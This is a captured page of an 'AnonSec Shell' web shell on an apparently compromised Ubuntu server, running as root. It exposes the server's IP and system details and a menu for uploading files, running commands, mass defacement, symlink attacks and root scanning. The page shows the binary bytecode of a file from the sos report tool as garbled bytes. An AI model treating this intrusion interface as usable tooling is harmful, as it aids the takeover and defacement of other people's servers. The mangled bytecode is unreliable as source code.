AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/cleaner/archives/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/cleaner/archives/__pycache__/sos.cpython-310.pyc
o

���b�
�@s`ddlmZddlZddlZGdd�de�ZGdd�de�ZGdd�de�ZGd	d
�d
e�ZdS)�)�SoSObfuscationArchiveNc@s:eZdZdZdZdZddgddgd�d	�Zed
d��ZdS)
�SoSReportArchivez�This is the class representing an sos report, or in other words the
    type the archive the SoS project natively generates
    �reportzsos report archivezsos_commands/host/hostnamez	etc/hostsz"sos_commands/networking/ip_-o_addrz%sos_commands/networking/ip_-d_address)z(sos_commands/login/lastlog_-u_1000-60000z)sos_commands/login/lastlog_-u_60001-65536z.sos_commands/login/lastlog_-u_65537-4294967295zsos_commands/login/lastzetc/cron.allowz
etc/cron.deny)�hostname�ip�mac�usernamecC�*z
t�|�o	d|vWStyYdSw)N�
sosreport-F��tarfile�
is_tarfile�	Exception��cls�arc_path�r�:/usr/lib/python3/dist-packages/sos/cleaner/archives/sos.py�
check_is_type,�
�zSoSReportArchive.check_is_typeN)	�__name__�
__module__�__qualname__�__doc__�	type_name�description�
prep_files�classmethodrrrrrrs��rc@�$eZdZdZdZdZedd��ZdS)�SoSReportDirectoryz�This is the archive class representing a build directory, or in other
    words what `sos report --clean` will end up using for in-line obfuscation
    �
report_dirzsos report directorycCstj�|�r
dt�|�vSdS)N�sos_logsF��os�path�isdir�listdirrrrrr<sz SoSReportDirectory.check_is_typeN�rrrrrrrrrrrrr4�rc@s0eZdZdZdZdZdZedd��Zdd�Z	d	S)
�SoSCollectorArchivez�Archive class representing the tarball created by ``sos collect``. It
    will not provide prep files on its own, however it will provide a list
    of SoSReportArchive's which will then be used to prep the parsers
    �collectzsos collect tarballTcCr	)Nzsos-collectFrrrrrrMrz!SoSCollectorArchive.check_is_typecCs\|jdd�|j}g}t�|�D]}tj�||�}d|vr+t�|�r+|�t	||j
��q|S)NT)�quietr
)�extract�extracted_pathr#r&r$�joinrr
�appendr�tmpdir)�self�_path�archives�fname�arc_namerrr�get_nested_archivesTs�z'SoSCollectorArchive.get_nested_archivesN)
rrrrrr�	is_nestedrrr6rrrrr)Cs
r)c@r)�SoSCollectorDirectoryz{The archive class representing the temp directory used by ``sos
    collect`` when ``--clean`` is used during runtime.
    �collect_dirzsos collect directorycCs.tj�|�rt�|�D]	}d|vrdSqdS)Nzsos-collector-TFr")rrr4rrrrgs�z#SoSCollectorDirectory.check_is_typeNr'rrrrr8_r(r8)�sos.cleaner.archivesrr#rrrr)r8rrrr�<module>s"

Anon7 - 2022
AnonSec Team